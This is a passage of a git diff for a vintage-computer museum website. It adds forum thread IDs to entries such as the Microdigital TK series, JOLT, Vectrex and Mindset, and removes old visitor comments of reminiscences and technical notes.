after you removed the video wont you - - author: rj (ulster uk) - date: Tuesday 22nd November 2011 - text: |- - http://www.youtube.com/watch?v$EmwW_6kUdHw - - please post this link to youtube\ - hope yu can find your way to the real great sam sites on the net - - author: Lez (England) - date: Monday 13rd December 2010 - text: Has anyone put the Sam Coupe onto a single CHIP like a ALTER Stratix or Cyclone FPGA? It would be a great project and has been done for other old machines ! - - author: Joao Salema (Portugal) - date: Friday 6th April 2007 - text: I have a original Sam Coupe in the attic for sell... It was my first computer... if anyone interested, please e-mail me (i don't want to throw it away... it means a lot to me) - - author: wayne samuel (Earth) - date: Tuesday 30th May 2006 - text: hi, i wrote software for this computer in its last days of manufacture. There was an IO peripheral device which i think was trying to change the cutomer base from a home computer to an industrial control and logging center. I was only about 13 at the time and was over the moon about being given the chance to write published software. - - author: Colin Piggot (Lincolnshire, UK) - date: Saturday 6th May 2006 - text: Theres still plenty in development and being released for the Sam Coupé, including a 20MHz accelerator! Check out the URL i have included. - - author: Steve Parry-Thomas (Staffordshire, UK) - date: Wednesday 29th June 2005 - text: loads of manuals as pdfs, plus details about Sams CP/M 2.2 Syetem. Hardware manuals as pdfs. - - author: Ian Chapman (UK) - date: Wednesday 23rd February 2005 - text: I believe I owned the second ever SAM sold in the UK. Shortly after my Spectrum died I went looking for a replacement, but apparently there was a shortage of spectrums due to the computer system at the manufacturing plant being hacked and PCB layouts altered, resulting in a recall. I came across this beast and bought it as a replacement. Here's a little tip, you can effectively turboload any programs on tape by playing the tape in hi-speed dubbing mode if your player supports it. It loads nearly twice as fast. - - author: Peter (Australia) - date: Thursday 15th April 2004 - text: |- - Hi, I am searching for 8bit computers that can produce photo like graphics. So far the Atari800XL is winning with its 256 color mode ( 16 shades of grey mixed with 16 colors giving 256 individual colors on screen at once.) What about the sam coupe. If anybody has any info on the graphics side I would love to hear from you. Please email any info, pictures of the power of the 128 colors of the sam coup. - - Thanks\ - Peter oc_id: 545 source: url: https://web.archive.org/web/20230604182600/http://www.old-computers.com/museum/computer.asp?c=545 diff --git a/content/museum/microace.md b/content/museum/microace.md index b7a744c3..610fe2f0 100644 --- a/content/museum/microace.md +++ b/content/museum/microace.md @@ -62,6 +62,7 @@ params: - emulators - links - docs + forum_thread: 1147 photos: - title: MICROACE subtitle: '' @@ -226,19 +227,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Joe Batchelor (USA) - date: Friday 3rd April 2015 - text: The early one had 4 K Internet Basic. Later there was an 8 K Basic. My kit was missing a zero ohm resistor and I did not install it. When switching from watching TV to the computer, the vertical hold had to be adjusted. It was running at 50 cycles and in the US it syncs with 60 cycles. I added a jumper wire in place of the resistor and all worked well. I added a surplus keyboard and tapped the video going to the modulator to drive a video monitor. The video was very much better without going through the TV tuner. - - author: Jim Schwartz (USA) - date: Friday 19th December 2014 - text: This, too, was my first computer. I remember building it from a kit. I learned to program in BASIC using this computer. I have since made programming my career, all self-taught. - - author: Joe Sangemino - date: Tuesday 16th August 2011 - text: My first computer, built it from the kit. lot of soldering of chip sockets, resistors, etc. When I first connected it to my TV and turned it on WOW! I was in the computer age! Type in a basic program, save it to cassette tape and you could play it again and again. Hamurabi was one of my early favorites. Great memories! - - author: John Mullen (USA) - date: Monday 12th March 2007 - text: My first computer was a Microace. The keyboard was always trouble. I built it into a homemade case using an Atari 800 keyboard. I also added the flicker free board and upgraded the ROM. That made it essentially a ZX-81 or Timex 1000. related: - /museum/czerweny-cz-1000 - /museum/czerweny-cz-1000-plus diff --git a/content/museum/microcomputer-associates-inc-jolt.md b/content/museum/microcomputer-associates-inc-jolt.md index aff553c4..f07d65ed 100644 --- a/content/museum/microcomputer-associates-inc-jolt.md +++ b/content/museum/microcomputer-associates-inc-jolt.md @@ -50,54 +50,7 @@ params: value: Power supply. +5, +12 or -10(?) volts (sold seperately) - label: PRICE value: $249 (1975, U.S.A.) - comments: - - author: Ray Holt (USA) - date: Wednesday 17th August 2016 - text: |- - Hi to all that have commented. I am very sorry I missed some required responses. Please go to my website and you can send a contact message to me from there. Thanks for remembering the JOLT. It was a great little workhorse. - - Ray - - author: Ray Holt (USA) - date: Monday 29th April 2013 - text: |- - If anyone has questions about the F-14 CADC, Jolt, Super Jolt or SYM early computers just let me know. - - Ray Holt\ - Designer - - author: Achim (Germany/USA) - date: Thursday 24th June 2021 - text: For a long time I have been looking for the JOLT. I already had it in my hands, but the owner sold his whole collection to someone else. If anyone has a JOLT to offer, please contact me through my website. - - author: Jim GIlmore (USA) - date: Monday 7th March 2016 - text: |- - I still have the Jolt system I purchased in 1977. I have the CPU, 2k EPRom board, Power supply and all the original documentation. It used a machine language program blown into 1702A EPROMs It was used to control audio sources (reel to reel, carts stuido and network ) for a radio station. It was used very successfully for many years before the advent of the modern hard disc based play out systems. - - Always reliable, it still functions (at least the last time I tried it about a year ago). - - A truly great little computer! - - author: Achim - date: Thursday 3rd March 2016 - text: |- - Hi,\ - In 2015 I had the chance to get hands on the JOLT. Unfortunately it was not for sale. I would love to get this early computer. Any offer welcome.\ - Achim - - author: john erling grande (norwey) - date: Thursday 18th September 2014 - text: |- - hi Ray holt , i wonder if i can be abel to recreat your 20 -bit procsesor for the f-16 tom cat , i am intrested in it becuse i have class in computer and electronics . and i belive you mad the first ever microprossesor unit with working cpu ram,rom etc - - pleas answer if you can it will be a great help to our class :) thanks before hand - - author: Tim Kowalski (Illinois USA) - date: Wednesday 16th July 2014 - text: |- - Microcomputer Associates was one of my first employers. I worked with Manny and Ray packing the kits and soldering the assembled boards. I was one of the first 5 employees - Ray, Manny, Frank, Darrel and myself.\ - I would love to get in touch with these guys again. Ray, Manny and Frank were my mentors. - - author: Tom Anderson (USA) - date: Sunday 20th March 2011 - text: |- - The JOLT was my first computer. It was a great little machine. I did a number of interesting projects in the physics lab, connecting it geiger tubes and the like for counting decays per unit time, etc. - - Anyway, I still have it, as well is some of the literature. I could post some photos, if I could figure out how to do it. This form does not seem to allow it. + forum_thread: 856 oc_id: 875 source: url: https://web.archive.org/web/20230607064545/http://www.old-computers.com/museum/computer.asp?c=875 diff --git a/content/museum/microdigital-tk-2000.md b/content/museum/microdigital-tk-2000.md index e520067d..b90f0c82 100644 --- a/content/museum/microdigital-tk-2000.md +++ b/content/museum/microdigital-tk-2000.md @@ -68,6 +68,7 @@ params: tabs: - emulators - links + forum_thread: 1131 emulators: - title: TK2000 II Color Computer Emulator url: http://tk2000.sourceforge.net/ @@ -77,10 +78,6 @@ params: - title: Clube do TK-90x url: http://www.tk90x.com.br/TK2000.html text: detailed differences between TK-2000and Apple II - comments: - - author: Giovanni Nunes (Brazil) - date: Saturday 22nd December 2007 - text: Both TK2000 and TK2000-II (a later model w/ 128Kb of RAM) are clones of MPF-II computer. oc_id: 1161 source: url: https://web.archive.org/web/20230331033256/http://www.old-computers.com/museum/computer.asp?c=1161 diff --git a/content/museum/microdigital-tk-3000.md b/content/museum/microdigital-tk-3000.md index 55f000a2..a168464f 100644 --- a/content/museum/microdigital-tk-3000.md +++ b/content/museum/microdigital-tk-3000.md @@ -71,6 +71,7 @@ params: - links - docs - videos + forum_thread: 923 photos: - title: KEYBOARD subtitle: '' @@ -511,19 +512,6 @@ params: - title: Apple II videoclip url: https://www.youtube.com/watch?v=_SoWRCy21pY text: 'Length: 3 min 03 s' - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Raphael Andrade Lima Leite (World) - date: Friday 18th August 2006 - text: All softwares that was avaliable to this computer were provided by "applemaniacs" and it was hard to find something usefull.. I had one of this and it was lost ... I used the computer like a write machine ... I still have the 5"1/4 floppy drivers and a box of floppy disks never opened cuz we bought a 286 and after a 386... - - author: Marcio (Brazil) - date: Saturday 20th September 2003 - text: The Z80 processor was actually used to manage advanced keyboard functions, like type ahead buffer, hot key macros, etc. In order to use CP/M it was necessary to install a separate board in one of the slots. With this board you had three CPUs (one 65C02 and two Z80) in one micro, not very common on those days. related: - /museum/apple-ii - /museum/apple-ii-571 diff --git a/content/museum/microdigital-tk-82.md b/content/museum/microdigital-tk-82.md index cc5ee24c..1d6e14c4 100644 --- a/content/museum/microdigital-tk-82.md +++ b/content/museum/microdigital-tk-82.md @@ -60,20 +60,12 @@ params: value: Unknown tabs: - adverts + forum_thread: 891 adverts: - title: ARGENTINIAN ADVERT subtitle: '' text: Thanks to [CZARG](http://www.speccy.org/czarg/) for this picture. image: /media/museum/pubs/microdigital_tk82c_pub-arg_1.jpg - comments: - - author: Marcio Pinho (Brazil) - date: Wednesday 18th October 2006 - text: |- - I still have a TK 82C at home :-)\ - I will take some pictures and send them to you. - - author: wak (Brazil) - date: Wednesday 25th June 2003 - text: I like to see the TK95x in this site! Tanks oc_id: 912 source: url: https://web.archive.org/web/20230328124651/http://www.old-computers.com/museum/computer.asp?c=912 diff --git a/content/museum/microdigital-tk-83.md b/content/museum/microdigital-tk-83.md index d6cae9e7..d706d4ed 100644 --- a/content/museum/microdigital-tk-83.md +++ b/content/museum/microdigital-tk-83.md @@ -60,6 +60,7 @@ params: value: 85$ (USA, 1983) tabs: - photos + forum_thread: 993 photos: - title: LARGER VIEW subtitle: '' @@ -77,46 +78,6 @@ params: subtitle: '' text: Thanks to **Franco Girardi** image: /media/museum/photos/microdigital_tk83_label_s1.jpg - comments: - - author: jaime (England, UK) - date: Tuesday 15th April 2014 - text: Do you still have one the sell? I had one as a kid and would love to own one again :D - - author: jaime (England, UK) - date: Tuesday 15th April 2014 - text: Do you still have one the sell? I had one as a kid and would love to own one again :D - - author: Rogerio de Avila (Brasilia/Brazil) - date: Tuesday 13rd August 2013 - text: |- - Jorge Nunez,\ - How do I contact you in private?\ - It''s about your TK83.\ - Thanks - - author: Jorge Nunez (Brazil/Sao Paulo) - date: Friday 14th June 2013 - text: I have one to sell.. - - author: Maldoror - date: Monday 22nd April 2013 - text: 'As far as I know, Microdigital manufactured the TK line in Brazil. However, some electric goods manufacturer from Argentina got to sell some "2nd Generation" clones (clones of clones) under the Czerweny brand: CZ1000 standing for the TimexSinclair 1000, and so on. CZ2000 was a ZX Spectrum clone.' - - author: Marthins (Lord Fenix) (brazil) - date: Sunday 22nd April 2012 - text: |- - TK83 - - Width: 167 mm\ - Depth: 175 mm\ - Height: 40 mm\ - Weight: 350 g - - author: Tigh (Brazil) - date: Monday 16th January 2012 - text: |- - Microdigital was a Brazillian manufacturer. Had a subsidiary in Argentina but all plants were located in Brazil (2 in São Paulo and 1 Manaus).\ - TK83 was manufactured on one of that plants and exported to Argentina just relabeled to be marketed as a national product. - - author: Webmaster (France) - date: Monday 5th September 2011 - text: Good question. That is weird because Microdigital is really from Brazil (http://en.wikipedia.org/wiki/Microdigital_Eletronica). Maybe the factory was in Argentina ? - - author: Dragontamer (Spain) - date: Monday 1st August 2011 - text: Sorry, but if the label on the computer says ''made in Argentina'', why is credited to Brazil? oc_id: 1019 source: url: https://web.archive.org/web/20230328121623/http://www.old-computers.com/museum/computer.asp?c=1019 diff --git a/content/museum/microdigital-tk-85.md b/content/museum/microdigital-tk-85.md index 172b0f16..e0367815 100644 --- a/content/museum/microdigital-tk-85.md +++ b/content/museum/microdigital-tk-85.md @@ -61,6 +61,7 @@ params: - adverts - hardware - docs + forum_thread: 950 photos: - title: LARGE VIEW subtitle: '' @@ -112,40 +113,6 @@ params:  source : [www.datacassete.com.br](http://www.datacassete.com.br) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Carlos Deabreu (usa) - date: Thursday 4th June 2015 - text: I Still have one with a thermal printer old K7 player and small black $ white tv. - - author: YERZMYEY/HOOY-PROGRAM (PL) - date: Sunday 2nd September 2012 - text: |- - It''s a really beautiful desing.\ - A cool clone of ZX81. - - author: Rey D (USA) - date: Friday 3rd September 2010 - text: This was my first computer!!!! My dad bought it for me when I turned 16 (I was living in Argentina at the time). I learned how to program in Basic on this little computer. Great memories! :) - - author: Cleidson A. Peixoto (Brazil) - date: Wednesday 28th April 2010 - text: |- - Mr. Carlos, - - Yes, it is right - the TK 85 haven''t a PSG. But it came prepared to allocate one - There is a space for the same PSG from the MSX (The AY), and there is a memory adress that is never used - This adress can be used to control the PSG. - - author: Carlos Cristo (Campinas - Brazil) - date: Wednesday 31st March 2010 - text: |- - Good to see it again..!!\ - The information is correct, but this part\ - "and the built-in three-voice sound generator. " is not.\ - It never had three-voice sound generator... even Tk-90x (the zx-spectrum clone) had... only MSX series had this.. : ) - - author: Jerónimo Milea (Argentina) - date: Friday 14th March 2008 - text: It was my first computer too ^\_^ it brings me very nice memories :) - - author: Xavier Garreau (La Rochelle, FRANCE) - date: Thursday 10th November 2005 - text: I wrote my first programs on this computer. Nice to see it again :) - - author: Rodrigo Quinteiro (Sao Paulo - Brazil) - date: Saturday 8th January 2005 - text: The TK85 was my 1st computer. All that I learnt in BASIC I need to thanks to this small computer. I still having the TK85 at home, but the keyboard is not working anymore. oc_id: 976 source: url: https://web.archive.org/web/20230608085718/http://www.old-computers.com/museum/computer.asp?c=976 diff --git a/content/museum/microdigital-tk-90x.md b/content/museum/microdigital-tk-90x.md index 5b56b8fe..28f34bfc 100644 --- a/content/museum/microdigital-tk-90x.md +++ b/content/museum/microdigital-tk-90x.md @@ -62,6 +62,7 @@ params: tabs: - photos - links + forum_thread: 921 photos: - title: TK90X subtitle: '' @@ -140,13 +141,6 @@ params: - title: ZX Spectrum in the 21st Century url: http://tarjan.uw.hu/zxclones_en.htm text: Nice review of modern Spectrum clones - comments: - - author: Diogo patrão (Brasil) - date: Saturday 11th April 2020 - text: It also featured an extra BASIC command, UDG. UDG 1 changed to the character set with portuguese and spanish characters (such as ã, ç) , and UDG 2 called a character editor! - - author: Marcelo Santos (Sao Paulo / Brazil) - date: Tuesday 10th June 2008 - text: Hey, is there any other version of the board? I had one of these, and I changed the ROM version and it was running a genuine ZX Spectrum ROM. But funny I don't remember where the hell is the slot... Looking at the pictures, seems to me that in the place that is the I/O chip, it used to be the ROM eprom. Can anybody help me? related: - /museum/didaktik-gama - /museum/didaktik-kompakt diff --git a/content/museum/microdigital-tk-95.md b/content/museum/microdigital-tk-95.md index b93a1252..5a34b541 100644 --- a/content/museum/microdigital-tk-95.md +++ b/content/museum/microdigital-tk-95.md @@ -61,6 +61,7 @@ params: - photos - emulators - links + forum_thread: 893 photos: - title: LARGER VIEW subtitle: '' @@ -171,13 +172,6 @@ params: - title: ZX Spectrum in the 21st Century url: http://tarjan.uw.hu/zxclones_en.htm text: Nice review of modern Spectrum clones - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/didaktik-gama - /museum/didaktik-kompakt diff --git a/content/museum/microdigital-tk-extended.md b/content/museum/microdigital-tk-extended.md index 200f00df..7c32021a 100644 --- a/content/museum/microdigital-tk-extended.md +++ b/content/museum/microdigital-tk-extended.md @@ -68,15 +68,12 @@ params: value: Unknown tabs: - photos + forum_thread: 922 photos: - title: LARGER VIEW subtitle: '' text: '' image: /media/museum/photos/microdigital_tkextended_system_1.jpg - comments: - - author: Steve Angel (USA) - date: Thursday 31st May 2018 - text: Are you sure the upgrade isn''t an Intel 80286 processor and 80287 math coprocessor? oc_id: 946 source: url: https://web.archive.org/web/20230328113304/http://www.old-computers.com/museum/computer.asp?c=946 diff --git a/content/museum/microkey-kfft-primo-a-32.md b/content/museum/microkey-kfft-primo-a-32.md index 8a0db3a3..b481df71 100644 --- a/content/museum/microkey-kfft-primo-a-32.md +++ b/content/museum/microkey-kfft-primo-a-32.md @@ -54,6 +54,7 @@ params: - software - emulators - links + forum_thread: 57 photos: - title: PRIMO-B subtitle: '' @@ -170,31 +171,6 @@ params: - title: The best place for Primo computers (in Hungarian) url: http://www.primo.homeserver.hu text: Also provides two Primo emulators - comments: - - author: B. Illesy (Bpest,Hungary) - date: Thursday 16th August 2018 - text: I was an owner. The primo was a really good machine, but not for games. No colors, no professional Keyboard, but usable for working. - - author: Rod (canada) - date: Wednesday 17th January 2018 - text: Looks more like a children''s toy computer than anything resembling an actual computing device. In fact, I can remember something like this that was available in stores in the 1980''s. Except the one I''m thinking of had a handle on it and ran on batteries. - - author: Junk Junker - date: Friday 3rd February 2017 - text: Compared to the Commodore Vic-20 and Commodore 64 computers being made in the same year, this computer is just plain junk. Sorry. - - author: Képes Gábor (Hungary) - date: Friday 31st January 2003 - text: |- - Hi!\ - The correct name of Primo is: Primo A-32. It have three versions: A-32 (16 Kbyte RAM), A-48 (32 Kbyte RAM) and A-64 (48 Kbyte RAM). And the Newer versions: Primo B32/48/64 with a Real keyboard and Pro/Primo (Primo C) with real keyboard... and great colour graphics.\ - Primo was a Revolutionary computer, I love it!\ - G. - - author: Képes Gábor (Hungary) - date: Friday 31st January 2003 - text: |- - Hello!\ - A good link for Primo:\ - http://www.primo.homeserver.hu - - G. oc_id: 38 source: url: https://web.archive.org/web/20230606140556/http://www.old-computers.com/museum/computer.asp?c=38 diff --git a/content/museum/microkit-vegas-6809.md b/content/museum/microkit-vegas-6809.md index 880df784..a2ab4710 100644 --- a/content/museum/microkit-vegas-6809.md +++ b/content/museum/microkit-vegas-6809.md @@ -66,6 +66,7 @@ params: - photos - adverts - links + forum_thread: 258 photos: - title: VEGAS 6809 subtitle: '' diff --git a/content/museum/micromega-micro-m16.md b/content/museum/micromega-micro-m16.md index 8a67ee92..80fe87a4 100644 --- a/content/museum/micromega-micro-m16.md +++ b/content/museum/micromega-micro-m16.md @@ -54,6 +54,7 @@ params: value: Unknown - label: PRICE value: Unknown + forum_thread: 389 oc_id: 390 source: url: https://web.archive.org/web/20230223072021/http://www.old-computers.com/museum/computer.asp?c=390 diff --git a/content/museum/micronique-hector-hrx.md b/content/museum/micronique-hector-hrx.md index 462c3ce9..ff77b2ed 100644 --- a/content/museum/micronique-hector-hrx.md +++ b/content/museum/micronique-hector-hrx.md @@ -79,6 +79,7 @@ params: - software - emulators - links + forum_thread: 154 photos: - title: HECTOR HRX subtitle: '' @@ -186,10 +187,6 @@ params: - title: Hector - l'ordinateur français! url: http://hectorvictor.free.fr/ text: French website dedicated to Hector / Victor Lambda computers - comments: - - author: Tim Locke (Canada) - date: Saturday 4th October 2014 - text: Text mode seems to actually be 40x28. related: - /museum/micronique-hector-mx - /museum/micronique-victor-hector-1 diff --git a/content/museum/micronique-hector-mx.md b/content/museum/micronique-hector-mx.md index e1a18dab..77709dc6 100644 --- a/content/museum/micronique-hector-mx.md +++ b/content/museum/micronique-hector-mx.md @@ -69,6 +69,7 @@ params: tabs: - emulators - links + forum_thread: 180 emulators: - title: DCHector url: http://dchector.free.fr/ diff --git a/content/museum/micronique-hector-xt.md b/content/museum/micronique-hector-xt.md index 55ceaf95..e0796651 100644 --- a/content/museum/micronique-hector-xt.md +++ b/content/museum/micronique-hector-xt.md @@ -9,6 +9,7 @@ params: company_name: MICRONIQUE tabs: - links + forum_thread: 842 links: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com diff --git a/content/museum/micronique-victor-hector-1.md b/content/museum/micronique-victor-hector-1.md index a32234ca..2bd82cb8 100644 --- a/content/museum/micronique-victor-hector-1.md +++ b/content/museum/micronique-victor-hector-1.md @@ -76,6 +76,7 @@ params: - adverts - emulators - links + forum_thread: 423 photos: - title: FIRST VICTOR subtitle: '' diff --git a/content/museum/micronique-victor-hector-2hr-2hr.md b/content/museum/micronique-victor-hector-2hr-2hr.md index 90ca3846..6373f865 100644 --- a/content/museum/micronique-victor-hector-2hr-2hr.md +++ b/content/museum/micronique-victor-hector-2hr-2hr.md @@ -76,6 +76,7 @@ params: - software - emulators - links + forum_thread: 164 photos: - title: VICTOR 2HR subtitle: '' diff --git a/content/museum/micronique-victor-lambda.md b/content/museum/micronique-victor-lambda.md index 472d2abe..8151a404 100644 --- a/content/museum/micronique-victor-lambda.md +++ b/content/museum/micronique-victor-lambda.md @@ -65,6 +65,7 @@ params: - software - emulators - links + forum_thread: 163 photos: - title: THE BLACK VICTOR LAMBDA subtitle: '' @@ -174,10 +175,6 @@ params: - title: Hector - l'ordinateur français! url: http://hectorvictor.free.fr/ text: French website dedicated to Hector / Victor Lambda computers - comments: - - author: Michael Marcotte (USA) - date: Monday 15th March 2021 - text: I got one when they first came out in the 80''s. Did BASIC programs. Played games. Made upgrade to 64K and RS 232 interface. May still have it. My brother is looking for it. related: - /museum/micronique-hector-hrx - /museum/micronique-hector-mx diff --git a/content/museum/microwriter.md b/content/museum/microwriter.md index e8e37ee1..e908fd82 100644 --- a/content/museum/microwriter.md +++ b/content/museum/microwriter.md @@ -62,6 +62,7 @@ params: value: Unknown tabs: - photos + forum_thread: 550 photos: - title: INSIDE MICROWRITER subtitle: '' @@ -94,27 +95,6 @@ params: Thanks to **Barrie Towey** for the pictures image: /media/museum/photos/microwriter_agenda_1.jpg - comments: - - author: Dave - date: Tuesday 10th October 2017 - text: Could you type as fast as you could on a traditional QWERTY keyboard as you could on a Microwriter? At the very least, was typing faster than, say, typing on an iPhone? - - author: Gregory (London) - date: Friday 13rd July 2012 - text: I have a Microwriter MW4 that has many fond memories. If anybody would like this classic piece of early technology let me know and I will send along for the cost of post and packing. Hate to throw it away. Serial No. 32233. Can email me info-''at''-chaos-works.com - - author: Neville Dalton (Newbury UK) - date: Thursday 8th February 2007 - text: I have 2 Microwriter Agendas (32K) for disposal. Complete with User Guides and Learn to Microwrite booklet. Also a French card and a Maths and Finance card, chargers, slip cases, one leather wallet and a parallel cable (for connection to PC). I want rid of the lot - either as one or two units. They have only been used as demo models and I guess the batteries have had it. - - author: Ian (Newbury, England) - date: Saturday 21st October 2006 - text: Does anyone have a schematic diagram for the MW 4? - - author: Stuart Milburn (Hampshire) - date: Friday 24th February 2006 - text: |- - Can anyone give me a second hand vaue for an Agenda Microwriter 32 bit in box with all accessories.\ - Many thanks - - author: Mark O Callaghan (Malta) - date: Thursday 13rd February 2003 - text: Does anyone know if the Microwriter or Agenda work with Windows 2000 and if they do can they please give us some instructions on how to make it work. oc_id: 558 source: url: https://web.archive.org/web/20230401005733/http://www.old-computers.com/museum/computer.asp?c=558 diff --git a/content/museum/midwich-microcontroller.md b/content/museum/midwich-microcontroller.md index e4ba5fdb..07f7e9a9 100644 --- a/content/museum/midwich-microcontroller.md +++ b/content/museum/midwich-microcontroller.md @@ -58,18 +58,7 @@ params: value: 6 slot bus expander and experimental breadboard, analogue input board, analogue output board, digital I/O board, PROM programmer, prototyping board - label: PRICE value: £375 (UK, 1982) - comments: - - author: Colm Meaney (United Kingdom) - date: Sunday 8th March 2020 - text: I worked for a company in Altrincham, Manchester called Datac who sold this computer badged under their own name. It was mainly sold to Universitues and scirnce labs. I got one of the cases and keyboards and put my dads ZX Spectrum in it. - - author: SI Walters (United Kingdom) - date: Tuesday 6th March 2018 - text: |- - From 1980-92 I worked at a computer shop in North London. We were Commodore dealers for years and my job was to ''evaluate'' new computers, accessories and software that we might potentially sell. - - I looked at the Midwich Microcontroller computer which is a TRS80 model 1 clone. It was marketed with a number peripheral to allow remote control of mains appliances. - - As the computer, was monochrome only, it had no sound, no graphics and was expensive to expand we did not pursue it any further. + forum_thread: 1268 oc_id: 1303 source: url: https://web.archive.org/web/20230604030330/http://www.old-computers.com/museum/computer.asp?c=1303 diff --git a/content/museum/milton-bradley-vectrex.md b/content/museum/milton-bradley-vectrex.md index cf4833ac..ef06138b 100644 --- a/content/museum/milton-bradley-vectrex.md +++ b/content/museum/milton-bradley-vectrex.md @@ -16,6 +16,7 @@ params: - emulators - links - videos + forum_thread: 992 photos: - title: CGE VECTREX subtitle: '' @@ -185,29 +186,6 @@ params: - title: Berzerk (Vectrex) (How To Beat Home Video Games 3) url: https://www.youtube.com/watch?v=gzf3obuzslI text: 'Length: 2 min 29 s' - comments: - - author: max the collector (planet earth) - date: Thursday 3rd February 2011 - text: my freind has one of these. By the way you guys need to post the adventurvision - - author: Quentin Paszkowski (France) - date: Thursday 13rd August 2009 - text: |- - The vectrex...what''s an unusual machine.\ - I''ve bought it with 13 games and a strange dedicatd green and gray bag.\ - It has 9 pocket for cartridge at the right, 1 for the plastics films in front, and 2 pocket for controllers at the left.\ - And the middle is for carrying the console.\ - It close by the top with a scratch band.\ - The console by itself is an unique experience of playing.\ - Can we imagine today a machine like this ? - - author: Father Fred (England) - date: Sunday 27th November 2005 - text: My son moved out resently leaving an old Vectrex I pluged it in and it still works. I had never seen one before i was woundering how many were prodused. My son says he has som games somewere in storage. He did not think there were many made. He allso says he only paid £5 from a market stall. - - author: Danneman (Sweden) - date: Thursday 10th November 2005 - text: Wow! I used to own a machine like this. I don't remember what happened to it but it's lost forever. A quite nice console. - - author: SKot Kirkwood (Houston, TX, USA) - date: Wednesday 26th January 2005 - text: I broke the Vectrex out of storage recently, and after a tricky repair to the fourth controller button the other night, it is working great. And I've still got the touch... nearly rolled Mine Storm past the 13th level on the first try without even making a big effort. software: - /software/3d-crazy-coaster - /software/3d-mine-storm diff --git a/content/museum/mindset-corp-graphics-computer.md b/content/museum/mindset-corp-graphics-computer.md index 00150347..858f5d56 100644 --- a/content/museum/mindset-corp-graphics-computer.md +++ b/content/museum/mindset-corp-graphics-computer.md @@ -64,6 +64,7 @@ params: - photos - hardware - software + forum_thread: 960 photos: - title: DOUBLE-DECKER MAIN UNIT subtitle: '' @@ -141,61 +142,6 @@ params: subtitle: Picture made with the Lumina Paint program text: '' image: /media/museum/software/mindset_graphics_graphdemo_s1.jpg - comments: - - author: Gene Apperson (Pullman, WA) - date: Wednesday 15th November 2006 - text: |- - I worked for Microsoft starting in the early '80s (I started in March '83) and initially worked in the Basic language group. I implemented the Mindset extensions to the GW-Basic language. I think it was probably late '83 or early '84 when I did this. - - A sprite data type was added to the language. A sprite was made up of multiple bit maps. A sprite could be animated by giving it a line to follow, a velocity, and a rate at which to cycle through the bit maps. - - There was syntax added to the ON 'event' GOTO and ON 'event" GOSUB statements to add collision and arrival events so that the program would be notified when two sprites collided or when a sprite arrived at its destination. - - I did this work a long time ago, so I don't remember many of the details, (it was all written in 8086 assembler), but it wasn't very hard to do. There were a couple tricky memory mangement issues to solve, but it was pretty straight forward stuff. I never interracted directly with the animation hardware as there was a machine BIOS with functions to handle all of the hardware animation features. - - I never actually saw a production Mindset machine. We have a development machine, which was just a motherboard and power supply that wasn't even in a case. This was kept in a locked room and there were only about three people allowed in there. The only time I met Paul Allen was in there when he was being given a demo of the machine (at this time he was recovering from Hodgkins disease and wasn't actively involved in Microsoft any more). - - author: Chuck Hunnefield (Lancaster, PA) - date: Tuesday 5th July 2011 - text: |- - A friend of mine brought this computer over to my house. It came in it''s own nylon carrying case - very impressive looking. I think they took some design cues from Apple - everything was packaged on a whole other level from anything else I remember back then. - - It did indeed have hardware-based sprites and the extensions in GW-BASIC were amazing to behold. You could simply define a bitmap, tell it what direction to go, and it would simply travel there. All while you typed on the command line. I was awed by that! - - My friend had purchased a game that was written by Synapse Software, and it was the single most impressive game I had ever seen. - - It was called ''Viper'' and it was a 3D shoot ''em up, with incredible real-time 3D color animation - something I''d never seen before in a game. It was played with an analog joystick (also from Mindset). - - So what happened to this terrific computer? - - Like the Amiga, I think this machine was more than the general public thought they wanted. Back then, PC''s were for business - everything else was considered a ''game machine''. The word, ''multimedia'' had not yet been invented, and so there was no business case yet for having excellent graphics and sound. - - What also didn''t help is the fact that due to it''s use of the 80186 AND a slightly incompatible BIOS, true compatibility with DOS was not possible. Word got around that the Mindset had some difficulty with mainstream software and that pretty much sealed it''s fate. - - The 80186 went on to be featured in the Tandy 2000 and in RAID controllers. It was sold for many years after the Mindset, however, not as a primary microprocessor for a personal computer. - - author: Chris Miller (United States) - date: Saturday 6th June 2020 - text: |- - I have A MINDSET computer for sales with all docs. Make offer - - Chris@sales-happen.com - - author: Bill Steedle (Farmingdale, Long Island, NY) - date: Tuesday 25th August 2015 - text: 'The "Visual Communications: Art $ Graphic Design" department at Farmingdale State College (SUNY) established a computer graphics lab with 12 Mindset computers during the mid 1980''''s. The facilities included a video capture unit for input, and both a film recorder and a color ink-jet printer for output. They were amazing machines - nothing else quite like them at the time. We added an Artronics graphics system, and then Apple Macintosh systems. We currently have nearly 100 Macs in our department.' - - author: Doug - date: Sunday 6th January 2013 - text: |- - Very interesting computer. This one got past me$ I do not recall\ - hearing about it when it came out.\ - Another rare use of the 80186 chip was in Convergent Technologies\ - computers. They also had a stylish build reminiscent of the Mindset\ - and the NeXT cubes. I used these at Burroughs, where they rebranded the line as the B-20 series. I think the B25 was an 80186. Some of the other models I recall were 8086. They sided stepped MS-DOS compatibility with a serious multi-tasking OS which in my opinion wasn''t matched for some time in the microcomputer world.\ - A little after this, though, around 1985 I was developing on using Convergent Technology computers at Burroughs (rebranded B-25 series) and some of these were 80186 machines. T - - author: Rokstenha (New York State) - date: Wednesday 14th February 2007 - text: I own a Mindset PC. Its graphics were amazing for the time. I chatted, briefly, with another in a CompUSA store. He thought that the Mindset was still or recently in use in Europe. I cannot verify that. It has been fun owning evidence for the 80186 chip. While taking courses at RIT I never found an instructor who accepted the fact that the 80186 chip ever existed. - - author: Blake Patterson (Alexandria, VA) - date: Wednesday 28th January 2004 - text: I was always fascinated by this machine, though I never saw on in person. The writeup mentions that the Atari ST has the same graphics modes as the Mindset. While this is true, and while it is also true tha the 68000 in the Atari ST was a more powerful processor, the Mindset's animation abilities seem like to have been notably more powerful than that of the ST, more like that of the Amiga, given the custom graphics hardware present. (All animation on the Atari ST was fully driven by the CPU, there being no such 